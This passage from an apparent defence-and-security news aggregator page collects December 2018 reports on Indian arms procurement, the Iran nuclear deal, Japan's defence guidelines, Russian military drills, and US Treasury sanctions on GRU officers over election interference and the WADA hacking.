performance requirements outlined in the original tender document. New Delhi (Sputnik) India has refuted allegations of favouritism in its decision to procure air defence systems from Russian military exporter Rosboronexport for its VSHORADS program, dismissing the accusations as "baseless." Subhash Bhamre, India's Minister of State for Defence, said that the appropriate replies have been given to complainants. "After the opening of commercial bids and declaration of L-1 vendor, complaints were received from the other two competing vendors, namely, MBDA of France and Saab of Sweden. The complaints were processed as per extant guidelines and appropriate replies were given to the vendors," Minister Subhash Bhamre said, responding to a parliamentarian's query. The minister said that the decision-making process for the procurement of defence systems and armaments is executed with the highest degree of probity, public accountability, impartiality and transparency. The bid amount submitted by Rosoboronexport for supplying Igla-S systems was found to be well below the "benchmark price" of $2 billion, while Saab had bid $2.6 billion, and French firm MBDA quoted $3.7 billion, for their respective systems, the minister added. The tender for the procurement of 5185 missiles and associated equipment under the Indian Army's VSHORAD program was floated in 2010. Last month, Russia's Rosoboronexport emerged as the winner of the tender, trumping MBDA and Saab, who responded by alleging that the Russian system did not fulfil the performance requirements put out in the Indian Army's tender document. The procurement process is currently at the contract negotiation stage. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Taking Cue From Doklam, India Builds 18 New Border Outposts Near Bhutan Sputnik News 13:33 19.12.2018 The Sashastra Seema Bal (SSB), India's border force, has built 18 new outposts in Sikkim and Arunachal Pradesh over the past year, after Indian and Chinese forces engaged in a bitter standoff at Doklam a disputed territory. New Delhi (Sputnik) India has beefed up its defences along the border with Bhutan, with the SSB building 15 new outposts in the forward areas of Arunachal Pradesh, and three new outposts in Sikkim. Amid tensions, the force bolstered its presence along the India-Bhutan border in the past year, deploying additional military personnel. "Three new border outposts in Sikkim and fifteen in Arunachal Pradesh were established and they have started functioning this year to provide better security and patrolling in the areas bordering Bhutan. The three new border outposts are in Western Sikkim which touches Bhutan border," SSB Director General Surjeet Singh Deswal said while addressing media on the the 55th Raising Day of the force. Deswal also clarified that the SSB is not involved in operations along the India-China border they are being carried out by the Indian Army and allied paramilitary forces. "The SSB has established and operationalised 708 border outposts which are instrumental in fulfilling its mandate of safeguarding the security of India's borders, to promote a sense of security among the people living in border areas and to prevent trans-border crimes," the SSB's director general added. Last summer, the Doklam plateau a disputed territory between China and Bhutan witnessed a face-off between China's People's Liberation Army and the Indian Army, which stepped in to help its neighbour and longstanding ally Bhutan when Chinese troops allegedly tried to disrupt the status quo by attempting to build a road in the region. China saw this as an uncalled-for interference by a third party in a strictly bilateral issue, refusing to back down unless India withdrew its troops. Tensions de-escalated after months of hectic negotiations between the two sides, who, in November, mutually agreed to simultaneously cut down their deployment of troops in the region. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address President Rouhani: Pres Erdogan stance toward US sanction against Iran decisive IRNA - Islamic Republic News Agency Tehran, Dec 19, IRNA -- Iranian President Hassan Rouhani, before his departure to Turkey, said Turkey's and Turkish Recep Tayyip Erdogan's positions in recent months vis-a-vis the conspiracy of the US sanctions against Iran have been good and decisive. Before departing for Turkey on Wednesday, President Rouhani added that the visit was scheduled to take place at the invitation of the Turkish president to attend the Fifth Supreme Council for Strategic Relations of the two countries. 'On this visit, apart from the meeting of the Supreme Council for Strategic Relations, the parties will have a joint meeting with presidents, ministers and their counterparts,' he said. The President of Iran said, "Turkey is of special importance to us and as a friendly country, important and influential in the region, we share a lot of cultural, historical and religious issues.' President Rouhani stated, 'Our neighbors, and most of them, have explicitly stated to the United States that the era of dictating policies has come to an end, and the United States is not able to prescribe thousands of kilometers away for the region and the countries relations and nations of the region.' Rouhani said, 'We will have bilateral, regional, global and international discussions, and will focus on the issues of economic cooperation between the two countries, such as banking, commercial, energy, oil and gas issues, which documents will be signed.' The president also said that businessmen and tradesmen will be present and an economic conference will be held in Ankara, with presidents and private companies from two countries. Rouhani added, 'There is a good context for developing relations, and the two countries have been emphasizing over the past two to three years. Of course the volume of today's relations is about $10 billion, which is a low figure and the parties emphasize to reach the volume of relations of $ 30 billion.' He added that in the trip will be emphasized on this issue and if there are obstacles to bilateral relations, both customs and industry, will be resolved via talks. 9455**2050 NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Minister: Defense industry prioritizing to utilize modern technology IRNA - Islamic Republic News Agency Tehran, Dec 19, IRNA -- Iranian Minister of Defense said making dual efforts and using world's latest technology to address the concerns of the armed forces of Iran is of prime importance. Speaking at Aircraft Industry Company, Brigadier General Amir Hatami reiterated importance of air industry's position in enhancing the defense and deterrence power of the armed forces. He said the Ministry of Defense's Aviation Industries Organization opened a production line for the manufacture of aircraft of all types. General Hatami described the status and effective role of the Ministry of Defense's air defense industry in the recent advancement of the aerospace, and said, 'The organization has proved that it is possible to use all capacities and scientific capabilities of the country and in close cooperation with the Air Force of the Army of the Islamic Republic of Iran reached to strategic products which it can be prominently featured in the development of Kosar fighter jets, which was really important for promoting the reputation of the Islamic Republic of Iran.' 9455**2050 NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Mogherini: JCPOA opens new channels to engage with Iran IRNA - Islamic Republic News Agency Tehran, Dec 19, IRNA -- Iran nuclear deal has created new channels for engagement, High Representative of the European Union for Foreign Affairs and Security Policy Federica Mogherini said. Mogherini made the remarks Tuesday addressing a meeting with members of EU Non-proliferation Consortium. 'Thanks to the nuclear deal, we now have new channels to engage in a constructive manner as some recent developments in Yemen have shown with Iran to discuss regional issues and to discuss also the security matters.' 'With no nuclear deal any negotiations with Iran would be much more difficult not easier,' she noted. 'As the European Union we want to definitely address Iran ballistic missiles and we want to address the arms proliferation in the region but to do so we need the nuclear deal to be preserved,' she added. US President Trump announced on May 8 the withdrawal from JCPOA, what was followed by other parties' condemnation as well as emphasis to stay in the agreement. Brussels, in response, updated EU's Blocking Statute to let the Europe-based enterprises to continue to work with Iran. The Blocking Statute prohibits EU companies' compliance with US foreign sanctions and allows corporations to compensate for the loss inflicted on them. 9376**1771 NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Iran's Araqchi in meeting with Finnish officials: Europeans must take operational steps to safeguard JCPOA ISNA - Iranian Students' News Agency Wed / 19 December 2018 / 10:57 Tehran (ISNA) - Iranian deputy Foreign Minister for Political Affairs, who is in Finland for bilateral talks, has held separate meetings with a number of Finnish officials in Helsinki. Araqchi on Tuesday met the Finnish Foreign Ministry's Permanent State Secretary Matti Anttonen and Under-Secretary of State Anne Sipilainen. He also held talks with Pertti Salolainen, the vice chairperson of the Finnish Parliament's Foreign Affairs Committee, who is also the head of Finland-Iran Parliamentary Friendship Group. During the meetings, the two sides conferred on the latest developments regarding the Iran nuclear deal, regional issues, and mutual cooperation between Tehran and Helsinki. The Finnish officials underlined the country's full support for the 2015 nuclear agreement, known as Joint Comprehensive Plan of Action (JCPOA), and described it as a great political, diplomatic, multilateral, and security achievement. They also expressed the Finnish government's resolve to develop its cooperation with Iran, and said the Finnish companies are still interested in being present in Iranian markets and promoting their cooperation with the Islamic Republic, but are waiting for the European Union to prepare the grounds. In addition, they said, the government of Finland is trying to provide facilities for small- and medium-sized companies. Araqchi, for his part, highlighted the significant role the JCPOA plays in the development and enhancement of Iran's cooperation and transactions with other countries, including Finland. "The fate of JCPOA, which is a great achievement of diplomacy and security, has been seriously challenged and threatened as a result of the US' withdrawal," the Iranian diplomat said. By leaving the nuclear deal, he said, "the US is undermining not only the JCPOA but also the independence and sovereignty of other countries as well as the global efforts for non-proliferation." He also hailed the EU for its "praiseworthy" political support, and said, "The EU's political support is valuable, but not enough. European countries must take operational steps to safeguard the JCPOA." Araqchi also pointed to the re-imposition of US sanctions against Iran, and said the policy of sanction is a failed one. "Iran has lived with sanctions for years, and has even gained considerable achievements under the sanctions. The language of respect must replace the language of sanction and threat." He welcomed the Finnish government's political resolve to continue and expand its all-out cooperation with Tehran, and expressed the hope that further efforts will be made to develop mechanisms and proper solutions in order to facilitate the presence of Finnish companies, especially the small- and medium-sized ones, in Iran. End Item NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address EU stresses need to maintain JCPOA to keep door open for talks with Iran Iran Press TV Wed Dec 19, 2018 02:21PM The European Union has once again reaffirmed the need to safeguard the 2015 Iran nuclear deal, saying it keeps the door open for further talks with the country. During her speech at the seventh EU Non-Proliferation and Disarmament Conference, foreign policy chief Federica Mogherini said the European bloc had new channels to engage with Iran over different developments thanks to the landmark agreement. "Thanks to the nuclear deal, we now have new channels to engage, and engage even in a constructive manner," on some regional issues, including the conflict in Yemen, she said. She noted multilateral agreements that were "agreed and recognized by all and are endorsed and monitored by the relevant international organizations - just like our nuclear deal with Iran" could represent an "essential step" in the right direction toward non-proliferation in the long term. "Dismantling the nuclear deal with Iran would not make us more secure, just like dismantling all multilateral frameworks for non-proliferation and disarmament can do no good," she added. Mogherini said, however, that any negotiations with Iran on other issues, including its missile program, would be "much more difficult" if the deal broke down. The top EU diplomat also praised Iran for the "full" implementation of the deal, officially known as the Joint Comprehensive Plan of Action (JCPOA), as "verified 13 times by the International Atomic Energy Agency." Iran has said that its missile program is for self-defense and it will not compromise on it in any talks. The Islamic Republic also says all its ballistic missile related activities are in full conformity with the relevant provisions of UN Security Council Resolution 2231, which endorses the JCPOA. Since the US withdrawal from the JCPOA in May, Iran and other signatories to the deal, including the Europeans, have been trying to keep the nuclear deal up and running by ensuring that Tehran reaps its economic benefits. Back on May 8, US President Donald Trump announced that he would abandon the JCPOA, reached between Iran and six world powers the US, the UK, France, Russia, China and Germany. He also announced that he would reinstate the sanctions against Iran that were lifted as part of the agreement. Under the JCPOA, Iran agreed to limit parts of its peaceful nuclear program in exchange for the removal of all nuclear-related sanctions. In August, Trump ordered all nuclear-related sanctions that were removed under the deal to be reinstated immediately. In addition to the Europeans, Russia and China, the non-EU parties to the deal, have also repudiated new US sanctions on Iran, pledging to maintain trade ties with Tehran. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Khatami's Brother Prosecuted Over 2009 Election Fraud Claim By RFE/RL December 19, 2018 The brother of Iran's former reformist President Mohammad Khatami is being prosecuted for claiming in a recent interview that ballot-stuffing occurred during the disputed 2009 presidential election, a senior judiciary official has said. Tehran prosecutor Abbas Jafari-Dolatabadi said on December 18 that Mohammad Reza Khatami, the former leader of a banned reformist political party, has not provided any proof to back his claim. He said an indictment is about to be issued. In an October interview, Khatami had described the 2009 vote as "unhealthy" while suggesting that 8 million fraudulent votes had been added to the ballot boxes at the Interior Ministry's election headquarters to seal the victory of former hard-line President Mahmud Ahmadinejad. Khatami had said that "informed sources" from the conservative camp had told him about the alleged fraud. Khatami also said he still believes that an "election coup" took place in the 2009 election that handed Ahmadinejad a second term. Millions of Iranians protested Ahmadinejad's reelection, which was followed by a state crackdown during which hundreds of reformists, journalists, and activists were arrested. Ahmadinejad's two main rivals, former Prime Minister Mir Hossein Musavi along with his wife, university professor Zahra Rahnavard, and reformist cleric Mehdi Karrubi, who challenged the establishment over the vote, have been under house arrest since 2011. Last year, a court in Iran sentenced seven reformist politicians, including Mohammad Reza Khatami, to one-year prison terms and barred them from political and media activity for two years after convicting them of anti-regime propaganda, their lawyer had said. With reporting by RFE/RL's Radio Farda and Mehr Source: https://www.rferl.org/a/khatami-s-brother -prosecuted-over-2009-election- fraud-claim/29664873.html Copyright (c) 2018. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Japan approves new defense guidelines amid controversies, opposition People's Daily Online (Xinhua) 08:55, December 19, 2018 TOKYO, Dec. 18 (Xinhua) -- Japan on Tuesday approved new defense guidelines, part of which includes the controversial upgrading and deployment of aircraft carriers in a move unprecedented since the end of World War II. Japan's new National Defense Program Guidelines, which also spans issues of cyberspace, outer space and electronic warfare as part of its plans to create what it describes as a "multidimensional joint defense force," has already drawn criticism from defense experts, the public and constitutional scholars. They have maintained that the bolstering of a multidimensional and integrated defense force is a major step away from Japan's "defense only" posture, which is enshrined in its pacifist constitution. At the heart of recent controversies and now outlined in the defense guidelines, covering a period from fiscal 2019, is the planned upgrading of the Izumo-class helicopter carrier to enable it to transport and launch F-35Bs multirole stealth fighters. "We will refit Maritime Self-Defense Force multipurpose helicopter destroyers so fighter jets capable of short takeoffs and vertical landings can be deployed when necessary," the government said in its mid-term defense program, adopted at a Cabinet meeting Tuesday and endorsed by Prime Minister Shinzo Abe. The defense guidelines, to appease a concerned public, maintain that the retrofitting of the Izumo helicopter carrier to be able to carry and launch F-35Bs, among other aircraft, is not so Japan can posses an attack aircraft carry and is not in breach of the constitution. Defense analysts, however, have pointed out that under the current interpretation of the Constitution, Article 9 of which reads "land, sea, and air forces, as well as other war potential, will never be maintained," the upgrading of Izumo into a contemporary "de facto" aircraft carrier, whether it permanently carries next-generation fighter jets or not, is in contradiction of Japan's pacifist charter. Along with Cabinet ministers approving the purchase of 42 F-35Bs and 63 F-35As, the Pentagon's most sophisticated 5th generation multirole stealth fighters and most expensive weapons system, 18 of which will be allocated to the Izumo. Opposition parties have also taken aim at the guidelines for being in excess of Japan's defensive needs. The Medium Term Defense Program comes with a price tag of 27.47 trillion yen (243 billion U.S. dollars) and compounds concerns from the international community about Japan's constantly rising defense costs since Abe took office in 2012. Japan's defense ministry, as the country is mired in the highest public debt in the industrialized world at more than twice the size of its economy, has requested another record-high budget of some 5.3 trillion yen (47 billion U.S. dollars) for the next fiscal year. This includes around 235 billion yen (2 billion U.S. dollars) to cover costs related to the installation of two Aegis Ashore missile systems, another military acquisition that has caused public uproar and major concerns from Japan's neighbors. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US imposes fresh sanctions on Russia for global 'malign activities' Iran Press TV Wed Dec 19, 2018 10:40PM The United States has imposed new sanctions against Russian individuals and entities over what it calls their "malign activities" around the world. The US Treasury Department said on Wednesday the sanctions target 15 members of a Russian military intelligence service and four entities. The Treasury accused them of interfering in the 2016 US presidential election, hacking the World Anti-Doping Agency and the Organization for the Prohibition of Chemical Weapons. Moscow has repeatedly dismissed any meddling in the US elections as unsubstantiated. "Treasury is sanctioning Russian intelligence operatives involved in cyber operations to interfere with the 2016 election and a wide range of other malign activities," Treasury Secretary Steven Mnuchin said in a statement. "We are taking action against operatives working on behalf of a sanctioned oligarch, hacking the World Anti-Doping Agency and other international organizations, and engaging in other subversive actions," he added. "The United States will continue to work with international allies and partners to take collective action to deter and defend against sustained malign activity by Russia, its proxies, and intelligence agencies," he continued. Michael Dobson, who worked on sanctions policy toward Russia at OFAC, said, "The administration hasn't taken its eye off the Russian intelligence service and the role they play in malign activities around the world." "I think it's definitely a strong action," he stated. Last month, the United States slapped additional sanctions on Russian individuals and a company over Crimea's re-integration with Russia in 2014. The US government has also sanctioned Russian companies for shipping oil to Syria which is fighting terrorist groups, mostly backed by the West and its allies in the Middle East. This is while the Kremlin has warned the US against imposing any new sanctions on Russia, saying such a move will "further complicate" bilateral ties. Ties between the Kremlin and the White House have fallen to a new low under US President Donald Trump. US intelligence services have accused Russia of cyber interference in America's democratic process, especially during the 2016 presidential face-off between Trump and his Democratic rival, Hillary Clinton. Trump, who has been willing to extend ties with Moscow, is currently the subject of a high-profile investigation for alleged "collusion" with the Kremlin. Moscow and Washington have also clashed on a range of other issues, including the war in Syria, the Ukraine conflict and the 2015 Iran nuclear deal. In late November, Trump abruptly canceled his planned meeting with Russian President Vladimir Putin on the sidelines of the Group of 20 summit in Argentina, citing Russia's maritime clash with Ukraine in waters off the coast of the Crimean Peninsula. Trump put the blame of cancellation on Russia's refusal to release Ukrainian Navy ships and sailors captured during a maritime confrontation between the two countries. The latest hostilities between Moscow and Kiev unfolded last month when Russia's naval forces intercepted and seized three Ukrainian vessels after they illegally entered Russian waters off the coast of Crimea in the Sea of Azov. Crimea seceded from Ukraine and rejoined Russia in 2014, prompting the West to impose sanctions against Moscow. The Kremlin has said the seizure of the Ukrainian ships was lawful because they were trespassing. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Soviet Sentimentality: Russians' Regret At U.S.S.R.'s Collapse Hits 14-Year High By RFE/RL December 19, 2018 More Russians regret the breakup of the Soviet Union than at any other time since 2004, an opinion poll shows. In a survey whose results were published on December 19, two-thirds -- or 66 percent -- of respondents answered "yes" when asked whether they regret the 1991 Soviet collapse. That is up from 58 percent a year earlier and is the highest proportion since 2004, the last year of President Vladimir Putin's first term, Levada said. One-quarter of respondents said they do not regret the Soviet breakup, the lowest proportion since 2005, and 9 percent said they could not answer. Putin, president from 2000-08 and 2012 to the present, has often played up the achievements of the Soviet Union while playing down some of its darkest chapters. In 2005, Putin called the Soviet breakup the "greatest geopolitical catastrophe" of the 20th century, citing the large numbers of Russians it left outside Russia. In March, when asked what event in the country's history he would like to have been able to change, he named the collapse of the Soviet Union. But Levada said that Russians' concerns about their economic security today were among the main reasons for the increase in the number voicing regret. A highly unpopular plan to raise the retirement age by five years has stoked antigovernment sentiment and pushed Putin's own approval ratings down this year. The peak of regret over the Soviet collapse came in 2000, when 75 percent of Russian polled by Levada answered "yes" to the same question. This year, Levada surveyed 1,600 people nationwide in the November 22-28 poll. The pollster said that 52 percent of respondents named the collapse of the Soviet Union's "single economic system" as the main thing they regretted. Worries about their current economic situation and prospects were a major factor for many of those respondents, Levada said. At the same time, 36 percent said they miss the "feeling of belonging to a great power," and 31 percent lamented mistrust and cruelty in society. With reporting by Vedomosti Source: https://www.rferl.org/a/russian- regret-at-soviet-collapse-stands-at-14-year- high-poll-shows/29664759.html Copyright (c) 2018. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Putin Approves Military Doctrine of Union State - Order Sputnik News 16:11 19.12.2018(updated 17:14 19.12.2018) The Union State of Russia and Belarus was established in 1996 with the intention of providing greater political, economic, and social integration between the two longstanding allies. Russian President Vladimir Putin has approved the military doctrine of the Union State of Russia and Belarus, according to the order published on the website of the official web portal of legal information. "To approve the draft Military Doctrine of the Union State submitted by the government of the Russian Federation," the text of the order read. Earlier, the Russian President's press secretary Dmitry Peskov said that Moscow and Minsk continue to develop the format of the Union State, noting that Belarus is "our real ally". Touching upon plans to expand the integration of the two countries, Peskov said that they are "conceptually singled out in the documents pertaining to the legal framework of the Union State". At the same time, Peskov stressed that the unification of Russia and Belarus into one state is not being discussed. The Union State of Russia and Belarus was established in 1996 with the intention of providing greater political, economic, and social integration. In 2009, Moscow and Minsk signed an agreement on the joint protection of the Russia-Belarus Union State's airspace and the creation of an integrated regional air defence network. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Russia Conducts Live-Fire Drills With S-400 in Crimea Sputnik News 14:53 19.12.2018(updated 14:54 19.12.2018) The drills come after Alexander Dvornikov, commander of Russia's Southern Military District, announced that the military had completed rearming air defence forces stationed in Crimea with the potent, world-renowned S-400 system. Military exercises involving Russia's S-400 missile systems have successfully wrapped up in Crimea, according to Russian Black Sea Fleet spokesman Alexei Rulev. "The combat crews of the S-400 Triumf missile systems from [Russian] Aerospace Forces and air defence units of the Southern Military District deployed in Crimea has conducted air defence drills," he said. He added that during the exercises, servicemen were tasked with deploying S-400 launchers and radar installations, as well as re-deploying them to new areas. After that, the S-400 systems were put on combat alert and began to collect data on the aerial situation. The drills ended with the destruction of a target simulating an "enemy" cruise missile. The S-400 Triumf (NATO reporting name SA-21 Growler) is Russia's most advanced surface-to-air missile (SAM) system, and has a range of 400 kilometres (248 miles). It is capable of tracking and destroying all aerial targets, including ballistic and cruise missiles. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Treasury Targets Russian Operatives over Election Interference, World Anti-Doping Agency Hacking, and Other Malign Activities U.S. Department of the Treasury December 19, 2018 Washington Today, the U.S. Department of the Treasury's Office of Foreign Assets Control (OFAC) took action in response to Russia's continued disregard for international norms. Specifically, OFAC designated a former officer of Russia's Main Intelligence Directorate (GRU) for having acted on behalf of sanctioned oligarch Oleg Deripaska (Deripaska). OFAC also issued new designations related to the Internet Research Agency (IRA), an entity previously sanctioned for its efforts to interfere in U.S. elections. Today's action also includes the designation of 15 members of the GRU, a previously designated Russian military intelligence organization, for their involvement in a wide range of malign activity, including attempting to interfere in the 2016 U.S. election, efforts to undermine international organizations through cyber-enabled means, and an assassination attempt in the United Kingdom. These 15 operatives are being sanctioned pursuant to the Countering America's Adversaries Through Sanctions Act (CAATSA). To date, this Administration has sanctioned 272 Russia-related individuals and entities for a broad range of malign activities. "Treasury is sanctioning Russian intelligence operatives involved in cyber operations to interfere with the 2016 election and a wide range of other malign activities. We are taking action against operatives working on behalf of a sanctioned oligarch, hacking the World Anti-Doping Agency and other international organizations, and engaging in other subversive actions," said Steven T. Mnuchin, Secretary of the Treasury. "The United States will continue to work with international allies and partners to take collective action to deter and defend against sustained malign activity by Russia, its proxies, and intelligence agencies." As a result of today's designations, all property and interests in property of these persons subject to or transiting U.S. jurisdiction are blocked, and U.S. persons are generally prohibited from engaging in transactions with them. Oleg Deripaska Related Designation Victor Alekseyevich Boyarkin (Boyarkin) is a former GRU officer who reports directly to Deripaska and has led business negotiations on Deripaska's behalf. Deripaska and Boyarkin were involved in providing Russian financial support to a Montenegrin political party ahead of Montenegro's 2016 elections. Boyarkin was designated pursuant to Executive Orders (E.O.) 13661 and 13662 for having acted or purported to act for or on behalf of, directly or indirectly, Oleg Deripaska, who was previously designated pursuant to E.O. 13661 for having acted or purported to act for or on behalf of a senior Russian government official, as well as pursuant to E.O. 13662 for operating in the energy sector of the Russian Federation economy, as well as with entities 50 percent or more owned by designated persons. Attempted Election Interference Project Lakhta Today, OFAC also designated several entities and individuals related to Project Lakhta, a broad Russian effort that includes the IRA, designated previously under E.O. 13694, as amended, which has sought to interfere in political and electoral systems worldwide. Since at least 2014, Project Lakhta has used among other things, fictitious online personas that posed as U.S. persons in an effort to interfere in U.S. elections, as the IRA did during the 2016 U.S. election. Concord Management and Consulting LLC and Concord Catering two entities owned by Yevgeniy Prigozhin (Prigozhin) controlled Project Lakhta's funding, recommended personnel, and oversaw Project Lakhta's activities. Concord Management and Consulting LLC, Concord Catering, and Prigozhin were all previously designated pursuant to E.O. 13694, as amended, on March 15, 2018 for providing funding to the IRA's operations. Prigozhin was also previously designated for materially assisting senior officials of the Russian Federation under E.O. 13661, while Concord Management and Consulting LLC and Concord Catering were designated under E.O. 13661 on June 20, 2017. Since 2014, Project Lakhta concealed its activities by operating through several entities to include the IRA, Nevskiy News LLC, Economy Today LLC, and the Federal News Agency LLC. As a result, Nevskiy News LLC, Economy Today LLC, and the Federal News Agency LLC were designated pursuant to E.O. 13694, as amended, for being owned or controlled by or having acted or purported to act for or on behalf of, directly or indirectly, Concord Management and Consulting LLC and Concord Catering. Within weeks after the designation of the IRA, the Federal News Agency LLC an entity utilized by Project Lakhta to obscure its activities that was also designated today announced that it was creating a new Russian-funded, English-language website called USA Really. USA Really, which is operated by Alexander Aleksandrovich Malkevich (Malkevich), engaged in efforts to post content focused on divisive political issues but is generally ridden with inaccuracies. In June 2018, USA Really attempted to hold a political rally in the United States, though its efforts were unsuccessful. As of June 2018, Malkevich was a member of Russia's Civic Chamber commission on mass media, which serves in a consultative role to the Russian government. Based on this activity, USA Really was designated pursuant to E.O. 13694, as amended, for being owned or controlled by the Federal News Agency LLC, while Malkevich was designated pursuant to E.O. 13694, as amended, for having acted or purported to act for or on behalf of, directly or indirectly, USA Really. As of 2018, Elena Alekseevna Khusyaynova (Khusyaynova) served as the Chief Accountant in Project Lakhta's finance department, where she managed Project Lakhta's budgeting and payment of expenses associated with its social media operations, advertising campaigns, infrastructure, and registration of legal entities used to further its activities. Khusyaynova maintained Project Lakhta's monthly budgets and submitted requests to Concord Management and Consulting LLC and Concord Catering. As a result of these activities, Treasury designated Khusyaynova pursuant to E.O. 13694, as amended, for having acted or purported to act for or on behalf of, directly or indirectly, Concord Management and Consulting LLC and Concord Catering. Khusyaynova is also the subject of a criminal complaint announced on October 19, 2018. GRU Attempted Election Interference Nine Russian GRU officers were designated today for their direct involvement in efforts to interfere in the 2016 U.S. election by targeting election systems and political parties, as well as releasing stolen election-related documents. These nine individuals worked within Unit 26165 and Unit 74455 of the GRU. Unit 26165 engaged in cyber operations that involved the staged release of documents stolen through computer intrusions. Unit 74455 assisted in the release of stolen documents through various online personas, promoted those releases, and then aided in the publication of stolen content on social media accounts operated by the GRU. These nine GRU officers are subjects of an indictment announced on July 13, 2018. Viktor Borisovich Netyksho (Netyksho) was designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. As of March 2016, Netyksho was in command of Unit 26165 of the GRU. Boris Alekseyevich Antonov (Antonov) was designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. As of March 2016, Antonov was a Major assigned to Unit 26165 of the GRU and was responsible for supervising those who targeted the 2016 U.S. Presidential election. Ivan Sergeyevich Yermakov (Yermakov) was designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. As of March 2016, Yermakov was an officer assigned to Unit 26165 of the GRU. Between March and May 2016, Yermakov participated in the hacking of email accounts and servers associated with the 2016 U.S. election. Yermakov also played an integral role in compromising WADA's database in 2016. Aleksey Viktorovich Lukashev (Lukashev) was designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. As of March 2016, Yermakov was a Senior Lieutenant within Unit 26165 of the GRU who sent spearphishing emails to campaign members associated with the 2016 U.S. election. Nikolay Yuryevich Kozachek (Kozachek) was designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. As of March 2016, Kozachek was a Lieutenant Captain assigned to Unit 26165 of the GRU. Kozachek also developed and monitored malware utilized by the GRU used to hack into networks associated with the 2016 U.S. election. Artem Andreyevich Malyshev (Malyshev) was designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. As of March 2016, Malyshev was a Second Lieutenant within Unit 26165 of the GRU who monitored malware implanted by the GRU on networks associated with the 2016 U.S. election. Malyshev also played an integral role in compromising WADA's database in 2016. Aleksandr Vladimirovich Osadchuk (Osadchuk) was designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. As of March 2016, Osadchuk was the commanding officer of Unit 74455 of the GRU. Aleksey Aleksandrovich Potemkin (Potemkin) was designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. As of March 2016, Potemkin was an officer assigned to Unit 74455 of the GRU and supervised a department that was responsible for the administration of computer infrastructure used in the release of stolen documents online. Anatoliy Sergeyevich Kovalev (Kovalev) was designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. As of March 2016, Kovalev was an officer assigned to Unit 74455 of the GRU. By July 2016, Kovalev hacked the website of a state board of elections and stole voter information. By August 2016, Kovalev also hacked into computers of a U.S. company that supplied software used to verify voter registration information for the 2016 U.S. elections. World Anti-Doping Agency-Related Designations Between 2016 and 2018, Russia targeted the World Anti-Doping Agency (WADA), the Organization for the Prohibition of Chemical Weapons (OPCW), and other international nonpolitical organizations using cyber hacking techniques. In 2016, WADA announced that malicious actors, who were in fact the GRU, had accessed data on its networks through spearphishing attacks and then illegally released confidential medical data pertaining to professional athletes, with modifications from the original version in some instances. These cyber-enabled operations followed WADA's exposure of Russia's extensive state-sponsored doping program in an independent WADA commission report. On October 4, 2018, the U.S. Department of Justice indicted and Dutch authorities announced the expulsion of the four GRU officers identified below involved in malicious cyber activity targeting the OPCW, the international organization responsible for eradicating chemical weapons worldwide under a United Nations mandate, who Treasury is also designating today. Specifically, OFAC designated Aleksei Morenets (Morenets) and Evgenii Serebriakov (Serebriakov), officers in the GRU who played an integral role in compromising WADA's database in 2016, as well as assisting the GRU's attempted cyber intrusions into the OPCW. Morenets and Serebriakov were designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. Oleg Sotnikov (Sotnikov) served as a Russian military intelligence officer who provided support to the GRU during its targeting of the OPCW, and was designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. Alexey Minin (Minin) also served as a Russian military intelligence officer who supported the targeting of the OPCW, and also worked with Sotnikov to assemble hacking equipment during the operation. Minin was designated pursuant to CAATSA Section 224 for knowingly engaging in significant activities undermining cybersecurity against any person, including a democratic institution or government, on behalf of the Government of the Russian Federation, and for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. Novichok Nerve Agent 